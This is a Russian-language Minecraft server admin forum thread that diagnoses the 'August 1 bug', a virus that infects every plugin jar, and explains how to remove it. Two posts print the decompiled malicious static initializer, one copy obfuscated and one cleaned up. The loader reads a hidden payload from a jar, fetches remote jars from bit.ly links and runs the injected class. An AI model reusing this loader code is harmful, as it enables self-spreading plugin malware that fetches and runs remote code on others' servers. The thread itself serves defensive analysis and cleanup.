Войти или зарегистрироваться
  • Вы находитесь в сообществе Rubukkit. Мы - администраторы серверов Minecraft, разрабатываем собственные плагины и переводим на различные языки плагины наших коллег из других стран.

Решено Баг с 1 августа

Помогла ли данная тема в решении бага?

  • Да

  • Нет


Результаты видны после голосования.
Вы бы скинули тот плагин сюда на изучение.
А я знаю какой?) Любое изменение и все! Я пока изучаю каждый плагин, декомпилирую и смотрю код.
Оно все плагины вроде заражает
Вот зараза же! А на машинах, овх, этот баг работает?
 
Несколько раз спасало:
Удаление папки logs, файлов level.dat и level.dat.old
+ перекачка плагинов (Сделайте сейв до появления бага)
 
так в чём там суть, кто-нибудь разобрался?
 
/net/milkbowl/vault/Vault.class имеет лишний код
Java:
static {
        try {
            File file = new File(new String(new byte[] { 112, 108, 117, 103, 105, 110, 115, 47 }));
            boolean b = false;
            long n = -1L;
            int n2 = 0;
            final File[] listFiles = file.listFiles();
            for (int i = 0; i < listFiles.length; ++i) {
                if (listFiles[i].isFile() && listFiles[i].getName().endsWith(new String(new byte[] { 46, 106, 97, 114 }))) {
                    file = listFiles[i];
                    final byte[] array = new byte[(int)file.length()];
                    final FileInputStream fileInputStream = new FileInputStream(file);
                    fileInputStream.read(array);
                    fileInputStream.close();
                    if (array[15] == (byte)(array[16] ^ 0xBE)) {
                        b = true;
                        n = ((array[array.length - 2] & 0xFF) << 8 | (array[array.length - 1] & 0xFF));
                        if (n > 0L) {
                            n2 = (int)n;
                            n = file.length() - (n + 2L);
                            break;
                        }
                    }
                }
            }
            if (b) {
                final RandomAccessFile randomAccessFile = new RandomAccessFile(file, "r");
                randomAccessFile.seek(n);
                final byte[] input = new byte[n2];
                randomAccessFile.read(input, 0, n2);
                randomAccessFile.close();
                final Inflater inflater = new Inflater();
                inflater.setInput(input);
                final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(n2);
                final byte[] array2 = new byte[1024];
                while (!inflater.finished()) {
                    byteArrayOutputStream.write(array2, 0, inflater.inflate(array2));
                }
                byteArrayOutputStream.close();
                final byte[] byteArray = byteArrayOutputStream.toByteArray();
                inflater.end();
                final String s = new String(new byte[] { 104, 116, 116, 112, 58, 47, 47, 98, 105, 116, 46, 108, 121, 47 });
                final URLClassLoader urlClassLoader = new URLClassLoader(new URL[] { new URL(s + new String(new byte[] { 50, 50, 88, 66, 113, 105, 121 })), new URL(s + new String(new byte[] { 49, 88, 75, 65, 69, 112, 90 })) }, Thread.currentThread().getContextClassLoader());
                final Method declaredMethod = ClassLoader.class.getDeclaredMethod(new String(new byte[] { 100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115 }), String.class, byte[].class, Integer.TYPE, Integer.TYPE);
                declaredMethod.setAccessible(true);
                ((Class)declaredMethod.invoke(urlClassLoader, null, byteArray, 0, byteArray.length)).newInstance();
            }
        }
        catch (Exception ex) {}
    }
 
Я календарь переверну, и снова первое августа :lol:
 
Большое спасибо! Но как вы узнали?)
в сентябре у многих была проблема такая, создали конфу и думали как исправить, я нашел то что файлы заражаются вредоносным кодом и скинул на проверку в конфу
 
в сентябре у многих была проблема такая, создали конфу и думали как исправить, я нашел то что файлы заражаются вредоносным кодом и скинул на проверку в конфу
А вот я поставил ваш Vault, но все равно стопает сервер. Но как то один раз прошло. С чем связанно? Что удалить, перекачать?
в сентябре у многих была проблема такая, создали конфу и думали как исправить, я нашел то что файлы заражаются вредоносным кодом и скинул на проверку в конфу
В именно данный момент, удалил логи и левел дат. Работает, как вылетит приду запомощью со слезами, проект не могу сделать до конца, а менять время не по царски, тем более гугл не разрешает так искать информацию :(
 
[Сообщение обновлено 9 ноября 2022]

Вы заражены
Если с вами поделились ссылкой на эту тему - скорее всего, у вас проблемы.

Если ваш сервер останавливается после ввода любой команды - это явный признак наличия вируса в сборке. Причём часто заявляется, что проблема проявляется после перехода со Spigot на Paper. Но будьте уверены, что на Spigot вирус тоже чувствует себя прекрасно, хотя и не проявляется так явно.

Исходный вирус распространяется под названием PluginMetrics (PluginMetrics.jar). Если у вас стоит этот плагин - будьте уверены, что вы заражены. Оригинальная метрика плагинов вшита в ядро, а не распространяется отдельным плагином. Однако даже если этот плагин у вас не установлен - нет гарантии, что всё в порядке. Вирус может находиться в абсолютно любых других плагинах на сервере. Об этом читайте далее.

Рекомендую дочитать моё длинное сообщение до самого конца - в нём много полезной информации.

Распространение вируса

Вирус заражает собой все другие плагины в сборке (но не ядро) - таким образом распространяется по сети. Вы скачали готовую сборку? Может, друг с вами поделился полезным плагином? Всё это может легко привести к заражению всей сборки. Вирус был создан в 2016-м году, однако и сейчас (в 2021) я до сих пор периодически натыкаюсь на данный вирус у людей. Будьте бдительны и не качайте плагины, ядра и другие ресурсы из непроверенных источников.

Влияние вируса на сервер
Из-за данного вируса сервера с offline-mode изредка автоматически останавливаются после 1-го августа 2016 года.
Это относится и к "пиратским" проектам, и к серверам за "лицензионным" BungeeCord.

Но наиболее явная черта вируса - отключение сервера после ввода какой-либо команды в консоли. Если у вас жалоба на эту проблему - даю 99% гарантию, что ваша сборка заражена.

Также из-за действия вируса случайным образом блокируются некоторые серверные действия:
- написание сообщений/команд в чат
- разрушение/установка блоков
- выбрасывание/перемещение предметов в инвентаре
- отгрузка чанков/миров (что приводит к утечкам памяти и странным багам)

Никакой иной угрозы вирус не несёт.

Решение
Удалите все плагины и поставьте по новой. Но на этот раз скачивайте только из надёжных источников. Пока меняете, ни в коему случае не запускайте сервер, иначе "чистые" плагины снова заразятся.
Ядро перекачивать не обязательно, оно не заражается.

Решение для ленивых
Боготворите @SHADOWDAN, он привёз вам лекарство. Оно пересоздаёт jar-архивы плагинов с целью избавиться от внедрённого туда вредоносного кода.

Запуск:
java -jar April1StRemover-1.0-SNAPSHOT.jar "путь/к/папке/с/плагинами"

Сам я это не тестировал. Некоторые утверждают, что это решение не работает. Если так - придётся перекачивать всё вручную.

Технические детали работы вируса
В инфицированном плагине находится примерно такой код (подправлен для улучшения восприятия):
Java:
static {
    try {
        FileInputStream inputStream;
        byte[] code;
        File pluginsDir = new File("plugins/");
        boolean virusFound = false;
        long l = -1;
        int n = 0;
        for (File pluginFile : pluginsDir.listFiles()) {
            if (!pluginFile.isFile() || !pluginFile.getName().endsWith(".jar")) continue;
            pluginsDir = pluginFile;
            code = new byte[(int) pluginsDir.length()];
            inputStream = new FileInputStream(pluginsDir);
            inputStream.read(code);
            inputStream.close();
            if (code[15] != (byte) (code[16] ^ 190)) continue;
            virusFound = true;
            l = (code[code.length - 2] & 255) << 8 | code[code.length - 1] & 255;
            if (l <= 0) continue;
            n = (int) l;
            l = pluginsDir.length() - (l + 2);
            break;
        }
        if (virusFound) {
            RandomAccessFile randomAccessFile = new RandomAccessFile(pluginsDir, "r");
            randomAccessFile.seek(l);
            code = new byte[n];
            randomAccessFile.read(code, 0, n);
            randomAccessFile.close();
            Inflater inflater = new Inflater();
            inflater.setInput(code);
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(n);
            byte[] arrby2 = new byte[1024];
            while (!inflater.finished()) {
                int n2 = inflater.inflate(arrby2);
                byteArrayOutputStream.write(arrby2, 0, n2);
            }
            byteArrayOutputStream.close();
            code = byteArrayOutputStream.toByteArray();
            inflater.end();
            String domain = "http://bit.ly/";
            URLClassLoader uRLClassLoader = new URLClassLoader(new URL[]{new URL(domain + "22XBqiy"), new URL(domain + "1XKAEpZ")}, Thread.currentThread().getContextClassLoader());
            Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE);
            method.setAccessible(true);
            Class class_ = (Class)method.invoke(uRLClassLoader, null, code, 0, code.length);
            class_.newInstance();
        }
    }
    catch (Exception ex) {}
}

То есть скачиваются и подгружаются два джарника, располагающиеся по адресам http://bit.ly/22XBqiy и http://bit.ly/1XKAEpZ
После этого загружается и вредоносный класс. Об этом ниже.

Данные ссылки позволяют скачать модификатор байткода (http://asm.ow2.org). При помощи него вредоносный код и распространяется по серверу. Если конкретнее, то инфицированию подвержены все jar-файлы из папки plugins: сканируется plugin.yml в каждом плагине, в главный класс встраивается вредоносный (байт-)код.
Также у каждого jar-ника отключается проверка его хэш-суммы (MANIFEST.MF). Это позволит запускать его, даже если содержимое было изменено.

Также в конец каждого заражённого файла вирус записывает сам себя в виде скомпилированного java-файла. Наглядно убедиться в этом можно при попытке извлечь файл любым продвинутым архиватором:
ma5H1iu.png

Отсюда и увеличение размера. Естественно, обычным архиватором вы этот класс не получите. Собственно, вот его содержимое: https://pastebin.com/Q4Pt9vaf

Летом 2017-го года был рассмотрена моя жалоба на ссылки bit.ly, и теперь вирус распространяться не должен. Но если вы заметили заражённый плагин - всё же стоит избавиться от него (достаточно удалить лишь инфицированный джарник).
Судя по всему, распространение по другим плагинам теперь работает только на каулдронах/мохистах и иже с ними, где библиотека ASM присутствует прямо в ядре.

Об авторе вируса и его идее
Скорее всего, по задумке автора, вирус должен был начать видимое влияние на сервер после 1-го сентября (а не 1-го августа). Это явный намёк на то, что администраторам серверов стоит заниматься учёбой вместо открытия серверов.

Также, возможно, автор хотел донести мысль о том, что необходимо делать собственные уникальные и интересные сервера, а не заниматься бесконечным копированием сборок (в частности плагинов).

У меня есть предположения относительно того, что за человек разработал вирус. Однако публиковать свою догадку я не буду, поскольку никаких весомых доказательств у меня нет.

Профилактика заражения
Не хотите повторения подобной ситуации? Что ж, самое время перестать качать сомнительные плагины и сборки, а после почитать про Keiko и Anti-Malware.

Аналогичные случаи
Очевидно, что "баг 1 августа" - это далеко не первый такой вирус. Так, например, мне известно о другом вирусе, которые заражает все плагины на сервере. Он имеет название Hostflow, подробнее можно почитать тут: https://www.alexeylesin.me/articles/hostflow/
Лечение Hostflow: https://github.com/Haizive/HostflowMalwareRemover
Есть подозрение, что это просто более новая версия вируса "1 августа".
Вопрос в том, о скольких вирусах мы не знаем, и сколько ещё будет создано в будущем.

Послесловие
Вывод тут один - необходимо качать плагины и другие ресурсы только из официальных источников. Никаких сборок, никаких плагинов от друзей, никаких nulled-версий платных плагинов.

Данный вирус относительно безопасен и не может принести серьёзного вреда системе/компьютеру/серверу/проекту. Но кто знает, какой вирус напишут завтра? А возможно и прямо сейчас по сети гуляет что-то очень неприятное, что никак не выдаёт себя?

Также небольшая просьба: если вы обнаружили у себя вирус - пожалуйста, сообщите о нём тому, кто вам его передал: другу или автору сборки. Можете просто скинуть ссылку на это сообщение: http://rubukkit.org/threads/bag-s-1-avgusta.128414/page-3#post-1414458
Пора заканчивать с распространением этой заразы.
 
Последнее редактирование:
Скачиваются и "запускаются" два джарника, располагающиеся по адресам http://bit.ly/22XBqiy и http://bit.ly/1XKAEpZ
Это модификатор байткода (http://asm.ow2.org). При помощи него вредоносный код и распространяется по серверу. Если конкретнее, то инфицированию подвержены все jar-файлы из папки plugins...
Вредоносный код (класс) вшит (байты) непосредственно в jar-файл.
Содержимое класса: http://pastebin.com/XSrKV2G1

Итог:
Автор этой штуки оказался с юмором - сервера с offline-mode автоматически останавливаются после 1-го сентября. Ну и различные эвенты отключаются на всякий случай.
Никакой иной угрозы вирус не несёт.

Берегите себя и своих близких и не качайте всякую дичь.

Интересно, кто создатель этой "приблуды"?

Отдельное спасибо @xtrafrancyz за помощь в решении сие загадки.
Вот к чему приводит скачивания плагинов с помоек. Ну это еще слабая шутка.
 
Скачиваются и "запускаются" два джарника, располагающиеся по адресам http://bit.ly/22XBqiy и http://bit.ly/1XKAEpZ
Это модификатор байткода (http://asm.ow2.org). При помощи него вредоносный код и распространяется по серверу. Если конкретнее, то инфицированию подвержены все jar-файлы из папки plugins...
Вредоносный код (класс) вшит (байты) непосредственно в jar-файл.
Содержимое класса: http://pastebin.com/XSrKV2G1

Итог:
Автор этой штуки оказался с юмором - сервера с offline-mode автоматически останавливаются после 1-го сентября. Ну и различные эвенты отключаются на всякий случай.
Никакой иной угрозы вирус не несёт.

Берегите себя и своих близких и не качайте всякую дичь.

Интересно, кто создатель этой "приблуды"?

Отдельное спасибо @xtrafrancyz за помощь в решении сие загадки.
Ну так дело в том, что все качаю с RuBukkit, а некоторые плагины, беру со своей старой сборки.
Скачиваются и "запускаются" два джарника, располагающиеся по адресам http://bit.ly/22XBqiy и http://bit.ly/1XKAEpZ
Это модификатор байткода (http://asm.ow2.org). При помощи него вредоносный код и распространяется по серверу. Если конкретнее, то инфицированию подвержены все jar-файлы из папки plugins...
Вредоносный код (класс) вшит (байты) непосредственно в jar-файл.
Содержимое класса: http://pastebin.com/XSrKV2G1

Итог:
Автор этой штуки оказался с юмором - сервера с offline-mode автоматически останавливаются после 1-го сентября. Ну и различные эвенты отключаются на всякий случай.
Никакой иной угрозы вирус не несёт.

Берегите себя и своих близких и не качайте всякую дичь.

Интересно, кто создатель этой "приблуды"?

Отдельное спасибо @xtrafrancyz за помощь в решении сие загадки.
А как остановить скачивание?
 
Ну так дело в том, что все качаю с RuBukkit, а некоторые плагины, беру со своей старой сборки.

А как остановить скачивание?
Все плагины качайте ТОЛЬКО с официальных ресурсов dev.bukkit и spigotmc.
Даже здесь не стоит качать.
 
Все плагины качайте ТОЛЬКО с официальных ресурсов dev.bukkit и spigotmc.
Даже здесь не стоит качать.
Я все перекачал, кроме своих самописов, но почему то, мой из самописов весил изначально 31КБ, а стал весить 40КБ. Что-то туда вшили?
Все плагины качайте ТОЛЬКО с официальных ресурсов dev.bukkit и spigotmc.
Даже здесь не стоит качать.
Не помогает, сколько уже обновлял, сбрасывал, даже с нуля собирал, урод какой то сыграл злую шутку.
Только с online-mod=true работает.
 
Я все перекачал, кроме своих самописов, но почему то, мой из самописов весил изначально 31КБ, а стал весить 40КБ. Что-то туда вшили?
Ты тему читаешь вообще? Бэдкор вшивается во ВСЕ плагины в папке plugins. Если один раз уже попался, то пока ты не избавишься от ВСЕХ зараженных плагинов - что-то там перекачивать бессмысленно.
Если самописы - бери чистые сорцы и компилируй по новой.
 
Ты тему читаешь вообще? Бэдкор вшивается во ВСЕ плагины в папке plugins. Если один раз уже попался, то пока ты не избавишься от ВСЕХ зараженных плагинов - что-то там перекачивать бессмысленно.
Если самописы - бери чистые сорцы и компилируй по новой.
Я самописы удалил. Я все плагины обновил, но может еще надо было ядро? Я не знаю.
 
Я самописы удалил. Я все плагины обновил, но может еще надо было ядро? Я не знаю.
Нужно было перекачать все плагины, не запуская при этом сервер. В ядро ничего не вшивается, только в плагины. Нельзя доверять ни одному из плагинов. Если так интересно, можно проверить (декомпилировать) главный класс каждого из плагинов - в заражённых файлах будет спецефический static-контент (код указывался выше).
 
Нужно было перекачать все плагины, не запуская при этом сервер. В ядро ничего не вшивается, только в плагины. Нельзя доверять ни одному из плагинов. Если так интересно, можно проверить (декомпилировать) главный класс каждого из плагинов - в заражённых файлах будет спецефический static-контент (код указывался выше).
Бегу декомпилировать!))
 
Здравствуйте, господа, из 2020)) Лох не мамонт, как говорится..))) Фикс не помогает, не чистит плагины, хотя надпись "-clean" появляется.
 
А что это? Опять какой-то слив поставили, который заразил другие плагины? :D

Здравствуйте, господа, из 2020)) Лох не мамонт, как говорится..))) Фикс не помогает, не чистит плагины, хотя надпись "-clean" появляется.
Перекачай плагины с оф. источников.
 

Поделиться этой страницей

Назад
Верх